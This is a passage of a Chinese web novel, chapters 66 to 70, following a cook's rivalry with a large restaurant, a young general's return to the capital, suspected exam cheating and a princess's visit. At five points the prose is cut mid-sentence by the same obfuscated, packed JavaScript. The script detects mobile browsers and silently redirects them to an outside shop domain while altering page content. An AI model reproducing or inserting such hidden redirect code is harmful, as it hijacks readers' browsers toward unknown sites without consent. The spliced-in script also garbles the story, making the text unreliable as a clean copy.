豆芽菜少年见众人吃得风卷残云，嘴角终于浮现起一抹羞涩的笑容。 庖厨们都以为大师傅有秘方，殊不知，谁能在平时仔细聆听教导，谁就继承了师傅的衣钵。 而做鱼，他是专业的。 马尾辫女孩脸蛋亦是红扑扑的，像熟透的苹果。 “桂小娘子没说错，单凭我们就可以做到！”她虽不是主厨，却也用心学习了揉面之法，心中激动不已。 “下面宣布本届厨艺大比第一场的结果，获胜者是——” 66. 栾小将军 “桂记卤味店！” 一片欢呼。 五谷鱼粉俘获人心，参与票选的百姓从人数上就压倒了翠园楼。 纵使大酒楼有权贵撑腰，作为裁判代表的黄发老者还是秉着公正态度，投出了决定性一票。 豆芽菜少年仿佛看到，曾手把手教他切鱼片的大师傅，正慈祥地抚摸着他的头顶。 “师傅，我一定勤勉不辍，再接再厉。”少年擦干眼泪。 翠园楼主事者冷冷地撇了一眼庖厨，腮帮子要紧像塞了两个核桃，终是拂袖而去。 还有两轮比试，他绝不会再掉以轻心。 台下，桂枝儿唇角似新月初绽，喜滋滋地收拢赚来的银票。 从北境一路走来，小金库愈发充实。 桂枝儿盘算着，若是提供原始资金的栾小将军，收到她的信，一定会大喜过望。 却不知，栾小将军此时已在奉圣旨进京的路上。 阳春三月，苏醒的麦苗本该绿浪翻滚，油菜花也该开得正盛，然而承朔四年的大梁注定艰辛。 小将军一路所见，受春汛影响，灾民饿殍遍野。 壮年男子眼窝深陷，瞳中无光，身体仿佛只是骨架上贴着一层肌肤。孩童尚且能啼哭几声，妇孺腹中空空，已经气息奄奄。 野无青草，田无余粮。 灾荒之下匪患更加严重，官兵下乡来，只胡乱杀些老百姓，取其首级充当土匪。 “往北走吧，北边有饭吃。” “往北走吧，这里的官老爷们说朝廷修建河堤，既要征税又要处人，留下来已经没有活路了。” 在清野州村民朴素的认知中，水患是天灾，但人祸往往更可怕。 向北走，北境厘清了人头税与田赋税，有大把的黑土沃野等待开发。 栾霜柏摸了摸雪影白驹的鬃毛。 少年身背红缨枪，身姿挺拔。他一路走来，给桂枝儿带了梅山积雪中的冰凌花，又摘了东鲁府的樱花。 “再买些米施粥吧。”他吩咐汇通钱庄的掌柜。 “少东家，米价已经涨到天上去了。”老掌柜翻着账本，叹了口气，“得亏您的户头一直有入账，要不然，哪供得起啊。” “什么？”栾霜柏双眸瞪大，懊恼地一拍大腿。 他倒是忘了，曾赠予过桂小娘子一枚翡翠金挂坠作为信物。 少年局促地轻咳了两声，脸涨得通红。 一抹红晕迅速从脸颊蔓延至耳后根，难以言喻的尴尬在心底生根发芽。 “掌柜的，敢问这些天花了多少银两？”栾霜柏心虚地问道。 老掌柜拨了两下算盘，竖起三根手指。 “三千两？那还好。”栾霜柏呼出一口气，不至于让小娘子看轻了。 想来是桂枝儿靠着高超的厨艺在京城立足，已经把生意做起来了。 许久不见，甚为思念。 栾霜柏眼中掩饰不住笑意，面上红霞也染了几分羞赧之色。 “回少东家，是三千两黄金。”老掌柜那稀疏的白胡子，随着嘴唇张合轻轻抖动。 少年的笑容瞬间凝固。 “别外喊我少东家了，家大业大，小子力有不逮啊。”栾霜柏捂着胸口，深吸一口气。 穿燕平，过泽州，烟花三月正是下江南的好时节。 离京城再近些，流民被禁军阻拦在外，放眼望去，依旧是一片歌舞升平的景象。 小将军回京的消息传开。 从上善坊到广济坊，爱凑热闹的百姓们纷纷推开窗。 低头看，小巷铺着青石板，两侧是白墙黑瓦的马头墙，春雨顺着瓦沟流淌。 “嘚嘚嘚，嘚嘚嘚。” 俊俏的白驹跃入眼帘，扬起的蹄子修长有力，进入主街，栾霜柏遵从规矩牵马步行。 经冬的战乱历练，让少年胸膛更加宽阔，身披铠甲，脸庞线条硬朗而流畅。 “哎呦，还真的是武状元！”杂货女商摇了两下拨浪鼓，去岁大比武的时候，她几乎全程围观。 眼见栾霜柏在擂台赛上，将世家纨绔子弟打了个落花流水。 不由心生钦佩。 “人家打了胜仗，现在要叫少将军了。” 古铜肤色的老工匠搭茬道，他手中铁锤如雨点般落下，发出“叮当”声，火星四溅。 当时少年，骑白马归来。 “是梁大将军回京了吗？”坐在屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290216|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檐下板凳上躲雨的老爷子，迷迷糊糊睁开了眼。 稀疏白发如残雪般洒落在他的头顶，老人的脊背已被时光压弯，身形佝偻着。 “爹，话可不敢乱说，您老糊涂了。”杂货女商吓得一把捂住父亲的嘴，“他是栾将军。” “哦，是经略大将军啊……”老爷子喃喃说道。 他的眼神浑浊迷离，仿佛飘向了遥远的记忆深处，回到了自己的孩童时代。 杂货女商左右四顾，见无人注意到老父亲的胡言乱语，这才松了口气。 听说梁大将军在抗击湘西马匪时战死，今上宽洪大量，便不追究其战败责任，只好生安葬了。 大人物的事，小老百姓还是少参合为妙。 一人一马结伴，向皇城深处走去。 小将军身姿挺拔，几缕碎发垂在额前，剑眉星目间透着一股无畏与坚毅。 他抬手轻抚马颈，动作轻柔默契。 同日，科考第二场如期进行。 贡院再度落锁，紧张氛围弥漫，天色转暗，摇曳的烛光将考生们单薄的身影映在墙壁上。 “唰唰”的写字声和偶尔的咳嗽声交织。 夜晚正是灵感迸发的好时机。 扬安学子李觅笔尖悬于草纸上，却久久未落。 他被刁钻晦涩的考题所困，嘴巴克制不住缓缓张开，打了一个大大的哈欠。 疲惫让他的双眼眯成了一条缝，眼角甚至沁出些许泪花。 “撑不住了，吃点宵夜先睡吧。” 李觅心中担忧，明日醒来若是眷抄速度太慢，匆忙间字迹再潦草些，这第二场考试可就要搞砸了。 但眼下，实在是困得头昏眼花。 他只得起身去号舍的巷尾打热水，冲泡从桂小娘子那里新购入的“咖啡”。 热水一圈圈晕开，一种混合着苦甜、焦香的味道扑鼻而来。 “这黑乎乎的水，不顶饿吧？” 李觅强忍着心中疑惑，抿了一口。 强烈的苦涩毫无保留地冲击味蕾，如汹涌潮水般在口中肆意蔓延。 这味道也太怪了！ 李觅狠狠皱眉，嘴角不自觉地咧开，向下耷拉着。 67. 战术喝茶 直冲天灵盖的苦味消逝之后，甜意才慢慢浮现，似丝滑绸缎拂过舌尖。 桂枝儿知道大家头一回喝不惯，特意削弱了咖啡的酸度与苦味，反而增添巧克力融化和鲜奶油流淌的口感。 余韵回甘。 “此味甚为奇诡。”扬安学子李觅暗自摇了摇头。 时间紧，条件差。 李觅一咬牙，囫囵吞枣地灌完了一整碗咖啡，准备回到号舍的木板上和衣而眠。 他蜷缩着身体，用书箱作为枕头，尽量使自己舒服一点。 科考第二场以诗词文赋为主。 李觅不知怎的，躺在床板上翻来覆去，适才困意一扫而空，大脑开始飞速转动，思维也变得异常敏捷。 他干瞪眼片刻，灵光乍现，干脆一骨碌翻身，爬起来继续答题。 “倒也稀奇，三更天了，挑灯奋战的考生还是这么多。”监考官们以手掩面打了个哈欠。 而后继续手持名册，在号舍的过道中缓缓踱步。 他们不知，桂小娘子的咖啡，堪比续命神药。 在抵抗疲劳方面，未逢敌手。 梆、梆、梆，连续敲击三下的声音，在寂静深夜传得很远。 “三更天，平安无事”更夫边走边敲击梆子。 夜色沉甸甸，天幕中，星子稀疏。 长兴坊的桂记卤味店后院，淡青色的羊皮灯罩古朴自然，露出一抹朦胧的光晕。 经过一下午淅淅沥沥的小雨浇灌，门前紫藤瀑布长势繁茂，已经蔓到了庭院里。 串串饱满的花穗上坠着细密的水珠。 桂枝儿静坐在庭院的雕花石凳上，等一位远方来客。 “吱呀。” 一匹通身毛发雪白的良驹低下额头，额前鬃毛随风飘动，它轻轻发力，便顶开了半掩的院门。 它身姿矫健，抬起前蹄步伐轻盈地跨进门来。 白马姿态从容潇洒，嘴上衔着一个花环。 由金黄小巧的冰凌花，粉白相间的樱花，毛茸茸的狗尾巴草等等编制而成。 许是脱离枝头已久被太阳晒干，颜色不够艳丽。 “哒哒哒。”白马修长的脖颈优雅地弯曲，将花环稳稳落在了桂枝儿头顶。 桂枝儿微微仰头，双眸弯成了月牙儿。 “小将军，别来无恙。”伴随着少女清脆的声音回荡，栾霜柏从房顶一跃而下。 栾小将军靠一袭玄色劲装勾勒腰身，线条刚硬，足见其体魄矫健。 高挺的鼻梁如山峰，经冬磨炼后多了几分干练冷峻。 可一旦对上桂枝儿的眼神，瞬间绽露的笑容，又似春风拂过冰河，化解了周身肃杀之气。 “姑娘可有宵夜点心，我快饿死了。”他洒脱不羁，坐在桂枝身侧。 “喏，绿豆糕。”桂枝儿推给他一碟白玉盘。 盘中整齐码放数块绿豆糕，糕体细腻紧实，呈小巧的方形状，棱角分明，表面泛一层淡淡的油光。 少年随手拈起一块，洒脱地抛入空中，接着仰起头，张嘴稳稳接住。 那模样与梅山溪水边的野兔一般自在，仿佛人世间的一切礼数都与他无关。 “今宵宫宴把我憋坏了，一堆规矩不说，既吃不饱也吃不好。”栾霜柏摇摇头，“还是姑娘你做的绿豆糕，对胃口。” 他腮帮微微鼓动，眯起眼，品味清甜在口中散开。 晚风略过发梢，却吹不散他周身那股子肆意不羁的劲儿，少年紧绷的心终于放松了些。 “应酬自然辛苦。”桂枝儿安慰道，接着如唠家常般感慨，“小将军来之前，北境的积雪该融化了吧？” 月色如银纱，轻柔地洒在戴着花环的少女肩头。 她的黑发仅用一根羊脂玉簪挽起，琼鼻秀挺，朱唇不点而红。 他乡逢故知，桂枝儿见到小将军颇为亲切。 “天气不算暖和，但山脚的野鹿差点儿跑进营地里撒欢。”栾霜柏笑眯眯地回应道。 目睹过沿途的天灾人祸，镇北府反而成了如今大梁的世外桃源。 小将军娓娓道来。 桂枝儿留下的温室大棚技术传播开来，中心府城的农民们，在反季时也能种植常见的果蔬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354226|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于是乎，卤味店即使人去楼空，门前屋后也被热心百姓打扫得干干净净。 只等桂小娘子回家。 被游牧劫匪毁坏的城门早就重新修筑，混凝土的路面和地道已在几个主要城池开始铺设。 连弩在作战中表现亮眼，连外府来投军的山贼都能英勇杀敌，边防北境军人员充沛、士气大增。 “知府大人改革赋税，凌河县的地主老财们反应最大。”栾霜柏嘴角上扬，露出一口整齐洁白的牙齿，“骆县令竟说他感染了春寒，闭门不肯见客。” “噗嗤。”桂枝儿乐得前仰后合。 两头都不敢得罪，像是那犹豫不决的草包县令能干出来的事儿。 “到底胳膊拧不过大腿，改革得以推进。”栾霜柏双手撑在膝盖上，身姿不自觉前倾，“如今北境，当真称得上是安居乐业。” 话说到这里，栾霜柏轻咳一声，略微低下头。 他目光躲闪，修长的手指不自觉地摩挲着圆筒形的羊脂白玉杯，杯中茶香氤氲。 “有件事……确是我考虑不周。”少年清朗的声音带着一丝罕见的嗫嚅，表情羞怯不安。 “无意间挪用了姑娘在汇通钱庄户头的银两，给沿途难民施粥。”他如做错事的孩童般局促。 几点雨星飘落，一阵轻微的“淅沥”声传来，好似春蚕在静谧的夜里悄然吐丝儿。 夜月当空，紫藤花未眠。 栾霜柏低头，只能看到桂枝儿一袭月白绫罗长裙，裙角模糊绣着梅花图案。 少女脚下一双江南雨季适用的木屐，摇曳生姿。 非礼勿视，栾霜柏挪开眼神，恨不得找个地缝钻进去，以避开这令他尴尬的局面。 他紧张地抬起手，战术性抿茶水。 “原就是借用小将军的本金做生意，算作分红存回户头的。”桂枝儿并不在意。 “先前信中提过此事。”桂枝儿眼神中透着一股狡黠劲儿，带着几分得意与聪慧。 “怎么，难道樾王没把信给你吗？” “噗！”栾霜柏一口茶水喷出来，惊异地瞪大了双眸。 68. 甲等之首 桂枝儿一望便知，这是说对了。 她不由感叹马侍郎眼光毒辣，能在蛛丝马迹中猜对谜底。 而樾王从前朝太子，变为偏居一隅的假知府。 属实混得有点惨！ “时过境迁，争位良机已逝，你们现在究竟是何打算？”桂枝儿起身添茶，木屐在石板上发出清脆声响。 带动绑系着的雾樱色丝带，在夜雨中微微拂动。 兴亡俱是百姓苦，局外人只想袖手旁观。 “天宥十五年，太子南巡遇琉球海贼那一战，因奸人从中设计，樾王重伤遇难。”栾霜柏坐正，身形笔直如松。 他压低了声音，双眸如寒星，深邃冷峻。 “背后毒手不知的是，彼时天子印已经交接，由暗卫拼死护送，樾王好歹是保住性命，但也昏迷良久。”他解释道。 怪不得，醒来已换了人间。 倘若贸然举旗造反，当今圣上只需说一句“太子亡故久矣，此乃假冒者”，这事儿就难成。 “高筑墙、广积粮、缓称王……”桂枝儿缓缓念叨着，无奈与惊愕交织，一时间哭笑不得。 这樾王在北境积蓄力量，野心昭昭啊！ 她遥想起曾在城门口，一柄闪着寒光的陌刀，如蛟龙出海，割裂了达奴匪徒的脖颈。 知府大人在风雪中脸色苍白，嘴唇干涸，但出手狠厉果断。 桂枝儿微微失神。 “咳，樾王对姑娘是颇为欣赏的，若在帐下做个谋士都屈才了。”栾霜柏言语间有些窘迫。 他本不欲让桂枝儿搅合进权谋纷争。 在小将军心中，桂姑娘永远在会店里安置着小小的炉灶，灶中柴火正旺，铁锅里饭菜热气腾腾。 安稳闲适，岁月无忧。 但既然桂枝儿提了，他就不得不吧帮樾王把橄榄枝抛出来。 “小将军也想赌一个佐命之功？”桂枝儿哂笑着反问道。 如能辅佐帝王登基，必将封侯拜相，将来说不定会是下一个配享太庙的经略大将军。 “夜深了，将军明日还要上朝复命，不若早些歇息。”桂枝儿起身逐客。 她摸了摸白驹的鬃毛，抬手挥灭灯火烛光。 “咴儿咴儿。”白马不知两人气氛微妙，只亲昵地蹭了蹭她的手心。 雨丝如网，笼罩一片小天地。 潮湿的水汽和花香余韵钻进少年的鼻腔，他打了个喷嚏，故作不在意地耸耸肩。 “说得好像小爷是樾王狗腿子似的。”栾霜柏愤愤不平。 他拈起最后一块绿豆糕，恶狠狠地咬了一口。 终是忍住了没有跟桂枝儿解释，抖一抖缰绳，与白马并排渐行渐远，身影逐渐融入朦胧的晨雾中。 他此行来京，另有所图。 卯时初刻，东方天际刚泛起一抹鱼肚白。 贡院外门高大森严，在晓雾中若隐若现，展露出庄严肃穆的气息。 内门则灯火通明，举子们身着儒衫从木板床上爬起来，浑身酸痛，挣扎着摸向装有笔墨纸砚的考篮。 十年磨砺，今朝试锋。 多答一道题，甩掉一千人。 扬安学子李觅只恨自己没有多买几份咖啡，不能通宵奋战。 “这藕粉倒也不差。”他在心里自我安慰道，“细腻柔滑，仅食数口也不会染脏试卷。” 用作晨馔，再合适不过了。 除去争分夺秒的考生们，此次科举的主考官——内阁大学士卢翰文，也一反常态下场巡察。 卢学士为官多年，已是身居二品，在儒林中德高望重。 肩负着“大考差”重任，他最要紧的步骤是在每场考卷弥封誊录后，带领考官们评阅试卷。 “如今的考生，真是一届不如一届。”昨夜，卢学士抿了一口苦涩的浓茶，眼圈漆黑。 其人本是面容清癯，目含星芒。 但批阅试卷劳心劳力，他揉了太阳穴半晌，依旧头晕目眩。 “初筛就落选的卷面，更加言辞支离、义理乖舛。”副考官赞同地紧皱眉头。 粗观言语才情匮乏，细看对策又老生常谈。 实在没有让人叹服的好文章。 若是在这群士子里挑挑拣拣，他们都觉得有负圣上求贤的殷望，简直给翰林蒙羞！ “经过细评的这几篇还算不错，起码有点灵气。”副考官双眉微微上扬，眼角的鱼尾纹露出欣然之色。 卢学士接过试卷，初览数行，目光便为之一亮。 他手挥羊毫笔圈点，颔下长须亦随之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14421070|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤动。 其中一篇佳作立意高远，他边看边低声赞许，最终喟然长叹道：“没有太多务虚的废话，秉笔直言，可见是个正直忠诚的好孩子。” 言罢，他又执起卷子细品。 上届科考时，卢学士作为副考官，力荐的试卷作答者最终被圣上在殿试点为探花郎。 他虽觉得有些惋惜，但也无可奈何。 毕竟同僚纷纷劝他——泗水谢氏不得圣心，犯不着为了无干者惹祸上身。 他便闭紧了嘴，没有多言。 时过境迁，卢学士年岁已高，主持本届科考唯有一个心愿。 那就是为大梁甄选出真正的栋梁之材。 “合诸公之意，此文当为甲等之首。”卢学士拍案笑道。 他已经迫不及待想拆卷看看作答者是谁了，是南苑府的名师高徒，还是楚淮一带的墨客骚人？ 有此文采，应当不是无名之辈。 按流程将排名登记在册，解开弥封后，卢学士凑近一看。 “啊？这、这……”他瞪大了眼，险些揪断自己的胡须，“这怎么可能！” 他唇角颤抖，欲语却似被噎住，额头青筋隐隐浮现。 “确定没有搞错吗？”卢学士厉声质问道。 手中羊毫笔“啪嗒”一声，砸于案几上，溅起几点墨渍。 “回大考差，弥封所和对读所严循规程，万不敢有所纰漏，大人何出此言？” 轮值监考官身形微微佝偻，头垂得极低，话语中有几分小心翼翼与谄媚。 说罢，他偷眼向上觑去，见卢学士面色依旧冷峻，忙又低下头。 卢学士霍然起身，半响后又缓缓坐下。 “没什么，方才是我看岔了。”他灌下一口凉茶，“辛苦了半夜，大家速速安歇就寝吧。” 他面上不显，内心却如沸腾的油锅般煎熬。 这甲等之首卷子的作答者，卢学士认识，不仅认识，还知晓他是京城出了名的纨绔子弟。 大理寺正的嫡幼子，裴家小儿。 那厮腰腹圆滚，胖得像盛水的瓮，凭借父辈官爵的恩荫进入国子监，学业上却狗屁不通。 “难道老夫去讲学时他还是个蠢货，现下突然开窍了？”卢学士打心眼儿里不信。 69. 何为嘉礼 抱着此等疑问，翌日一早，卢学士便亲自下场巡察。 他目光如炬，带着一种不徐不疾的威严。 卢学士的官靴靴底是厚实的千层底，用麻线紧密缝合，踏在地上四平八稳，发出沉闷的声响，警示众人。 众考生心头颤动，或多或少有些紧张。 有人眉头紧锁，尚在与晦涩的考题进行艰苦鏖战，也有人草稿打得快，已经在笔走龙蛇般眷抄。 坐在“天字号”里的富家子们，号舍相对宽敞些。 大理寺正的嫡幼子挤在其中，却依旧感觉憋屈。华丽的锦袍被压出了褶子，他像那笼中鸟儿，心早就飞了。 “还要坐多久啊。”裴家小儿愁眉苦脸，咬了一口咸鲞。 鱼干口感原本咸香紧实，他只品出满口腥味。 “一帮愚钝的废物贱奴，没法包圆儿就不知道去多抢几袋方便面吗？”他在心中咒骂。 还搞甚么限量发售，真当自己是名厨了。 连带着看桂小娘子也不顺眼。 “沓沓”的脚步声渐近，卢学士终于巡察到天字号舍。 裴家小儿有些心虚，他佯装沉思。 挨揍的右侧脸颊还未消肿，眯成一条缝的小眼睛看似聚焦在卷面，实则空洞迷离。 脑海里正编织着考完试后去勾栏瓦舍潇洒的幻梦。 卢学士停在过道中央，左右巡视。 裴家小儿虽平日里行事张狂无忌，肥胖的身躯不安地蠕动着，仿佛地面烫脚一般。 他喉结滚动，干涩地咽了一下口水。 半晌不知该干什么，只能假装继续啃食咸鲞。 “啪嗒！” 一块没拿稳的咸鲞，就这么直挺挺地跌落到试卷中央，洇出一片油渍。 “糟糕。”裴家小儿不安地抿唇。 他再不学无术，也知道污损科考试卷的后果。 在如此严肃的大考里犯蔑视皇恩的错误，轻则被判低分，重则与功名无缘。 还好，吾父乃大理寺正。 裴家小儿勉强使自己冷静下来，既然父亲已打通关系，无论如何，最终都会有个好成绩。 况且过道中央的卢学士眼神没有停留，径直走开，似乎尚未发现他的小动作。 裴家小儿这才松了口气。 好歹是熬到了第二场科考结束。 贡院开锁，平安无事。 主考官卢学士遥遥目送众考生离开，有人欢腾喜悦，有人垂头丧气。 如今春风料峭，他后背冒起冷汗。 “科考作弊，是杀头的重罪啊。”他喃喃道。 倘若此事坐实，他也难辞其咎。圣上追究起来，乌纱帽不保是小事，只怕朝堂上要掀起一番腥风血雨。 卢学士心头如坠寒窟。 举子们并不知，自己的命运正被无形巨手操控。 他们最大的遗憾是——不能亲临桂记卤味店与翠园楼的第二场美食大比。 翠园楼主事者坚信，这些考生都是卤味店请来的托儿。 于是势必要选一个远离中心城区的地方。 “桂小娘子，把大赛地点临时改到城郊口岸，可有不便啊？”翠园楼主事假惺惺地问道。 放眼望去，宽阔的江面上千帆竞发。 这条河是漕运粮道，亦是南北货物集散的要道，往来船只吃水颇深，白帆在江风鼓吹下膨胀饱满。 江岸码头店铺林立，人群熙熙攘攘。 “一二，嘿呦，一二……”力工挑夫们赤裸着上身，肌肉贲张，响亮的号子声不断。 女工们则娴熟地将精细货物分拣，放置在芦苇编的筐、麻线织的袋子里。 即使卸一趟货的工钱已经从十个铜板降到了八个，但一家老小嗷嗷待哺，不卖力气干活儿怎么行呢。 “高老板今日，还有要八百里加急水路运输的新鲜鱼吗？”桂枝儿好奇地问道，“我们小本生意，在哪里都一样。” 她微微一笑，让人分不清是否在讥讽。 翠园楼主事面色不变，呼吸声却变得粗粝起来。 上次大比失败，简直将他的脸打得啪啪作响。 他不仅要打发前来说风凉话的同行，还成了百姓们茶余饭后的笑料。 《翠园楼鲥鱼面后继无人，桂娘子卤味店冠绝京城》 百年老字号招牌，岂是说书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464353|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人快板一拍，散播些风言风语就能撼动的？ “闲话少叙，此轮比试的是嘉礼宴，您请吧。”主事心有怨气，猛地一挥袖。 嘉礼宴，顾名思义，是用于喜庆之事的宴会。 在普通百姓的一生中，从男子冠礼、女子笄礼，到幸福美满的大婚，都要举办嘉礼宴。 再往大了说，新科举人们办的鹿鸣宴，春闱放榜后的琼林宴，也不例外。 刚接到考题时，听桂枝儿一讲解，两位学徒就慌了神。 嘉礼种类颇多，流程往往隆重复杂，相对应的，宴席亦要体现吉祥寓意。 “小娘子，俺们，不懂这些礼仪啊？”马尾辫女孩讲话磕磕绊绊，“倒是在村里吃过一次大席。” 她不好意思拼抢夹菜，错过了一盘油光锃亮的大肘子，至今想起来仍馋到直流口水。 “吃流水席也算，颇为相似。”桂枝儿先是一愣，随即笑意在唇角晕染，心中顿时有了主意。 厨艺大比的时间地点，都遂了翠园楼主事的意愿。 在内容上，可不能被牵着鼻子走！ 不就是嘉礼吗，千里不同风，百里不同俗。 你们欺辱我北境是乡下人不懂礼数，我反倒要说，一方水土养一方人，北境自有独特的嘉礼。 “所以你们要办的这个是什么、什么宴？”翠园楼主事掏了掏耳朵，满脸不解。 他撇着嘴，眉心拧成一股麻绳。 “劳动宴。”桂枝儿回答得斩钉截铁。 镇北府的劳动节，便是农民与佣工们，共庆劳勤之节。 此日辍耕罢役，劳动人民相聚于郊野，载歌载舞祈福风调雨顺，共享美食感念圣上隆恩。 “不曾听闻。”裁判席一脸茫然。 他们久居杭京，对北境这等荒蛮落后之地从未了解过，自然被桂枝儿忽悠得一愣一愣的。 劳动节，听起来好像也没什么不妥。 “说得好！”江岸边刚卸完货的力工挑夫们，围观看热闹，此时率先鼓掌欢呼了起来。 全大梁的劳动人民团结起来，劳动最光荣。 听桂小娘子这么一说，心里莫名就得劲儿。 70. 裕和公主 “前方所遇何事，竟如此喧闹？” 婉转的女声如珠落玉盘，圆润悦耳。语气典雅中带着几分矜持，是标准的杭京腔调。 稀世香木精心雕琢而成的轿厢中，端坐着一位娇小姐。 她面覆薄纱，看不真切容颜，只透过挑起的锦绣轿帘露出侧脸，眼眸中凝着一抹探究之意。 “回公主，是码头的劳工们将要用膳，无甚可观之处。”栾小将军语气生硬地说道，“咱们回宫吧。” 少年身若矫龙，一袭玄色劲装随风猎猎作响。 他单手随性地揪住缰绳，双腿搭在马腹两侧，随着白驹的步伐轻轻晃动。 栾霜柏如墨般的长发，仅用一根丝带松散扎起，几缕碎发垂落额前，肆意撩拨着他那剑眉星目。 只是那眉眼中，暗暗掩藏着几分不耐与疏离。 “不，本宫今日心欢意畅，偏想去看看。”娇小姐撒娇道。 虽然她撒娇的口吻略显颐指气使，但她是大梁金枝玉叶的长公主，圣人最宠爱的掌上明珠。 裕和公主的请求，谁敢不同意呢？ 于是公主姿态高雅地指挥车辇，跟随着准驸马，向江岸码头的厨艺大比高台驶去。 “难得父皇允许本宫出来透透气，你怎么不会逗乐解个闷儿？”裕和公主柳眉轻蹙。 “臣一向沉默寡言。”栾霜柏平静回话。 “哼，无趣。”裕和公主示意婢女放下轿帘，展开手臂。 跪坐一旁的婢女匍匐到她身后，娴熟地为她褪去薄衫。冰蚕丝织就的衣裳滑过圆润肩头，如一片轻柔的云朵般飘落。 春夏之交的江南，午时阳光炽热。 裕和公主一个眼神扫过去，婢女便提起白瓷壶斟一杯凉茶，再恰到好处地用团扇扇风。 扇扇子的姿态，亦有讲究。 宫女双膝并拢着地，背脊挺直，臀部坐在脚后跟。她手腕灵活转动，不疾不徐，未免耽误主子喝茶，扇风的角度由平行调整为斜向上。 一举一动都透着规矩与谨慎。 “宫驾前行，闲杂人等回避！”侍卫齐呼尽显威严。 每呐喊一句，禁军手中长枪或长刀便会随节奏整齐划一地顿至地面，发出沉闷的警示声响。 受到威慑，码头百姓不敢有丝毫懈怠。 “快跪下，快低头。”众人纷纷惊惶地退至道路两旁，将自家孩童按倒在地，生怕稍有差池便会触犯皇家威严。 身披甲胄的侍从为车辇开出一条宽阔大道。 万众瞩目下，裕和公主并未现身，只是淡淡地说道：“本宫此番前来体察民情，无需多礼。” 声音有些微弱，但她不必拔高嗓门。 因为所有人都自觉地屏住呼吸，聆听公主玉音。 厨艺大比的高台上，炉灶火焰熊熊，猛然窜起的火苗舔舐锅底，激烈比拼才刚刚开始。 卤味店的主厨桂小娘子，今日装扮干净利落。 她穿着湖蓝色的对襟长衫，袖口收束，以免在烹饪过程中有所不便。 围裙的样式也很常见，厚实的粗布长度到膝，系在脖子上。 她一头乌黑秀发盘成发髻，手中明明提的只是锅铲大勺，却让人感觉英姿飒爽。 桂枝儿遥遥眺望，恰与马背上的少年对上眼神。 她疑惑地挑了挑眉。 栾霜柏身子微微一僵，下意识地侧过脸。 他眼神游移，长睫似受惊的蝶翼般急促扇动，握紧缰绳的手不自觉收紧，指节泛白。 少年的心虚袒露无遗。 裕和公主已落贵座，裁判席鸦雀无声。 台下却逐渐热闹起来，在人声鼎沸中，桂枝儿仅那一眼就看透——小将军心里藏着事儿呢。 “咱老汉儿今日还能混到一口鱼粉吃不？”做糖人的老爷子眯了眯眼。 举子们还有最后一场科考未完成，不便远赴城外。但长兴坊集市的小贩们，歇业一天不打紧。 况且这次比试是大宴，群众皆可入席品尝。 “我等自然要参加劳动宴。”泥人张笑道，“翠园楼办的大婚宴，那才是给妙龄男女们凑热闹的。” 大户人家的婚宴，绝不是鸳侣二人小打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511711|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小闹的仪式。 一路敲锣打鼓的花轿迎亲、行拜堂礼自不必说，宴席既要彰显家族地位，又讲究一个色香味俱全，且寓意吉祥。 “今日高朋满座，贤伉俪喜结良缘。承蒙诸君拨冗莅临，美酒佳肴已备，共享良辰！” 开席祝词的声音饱含喜悦与庄重。 翠园楼举办的嘉礼宴，果然吸引了很多来城郊踏青的少男少女。 他们纷纷面带娇羞红晕，好奇地落座。 婚宴伊始，通常先上一些干果蜜饯和开胃小菜。 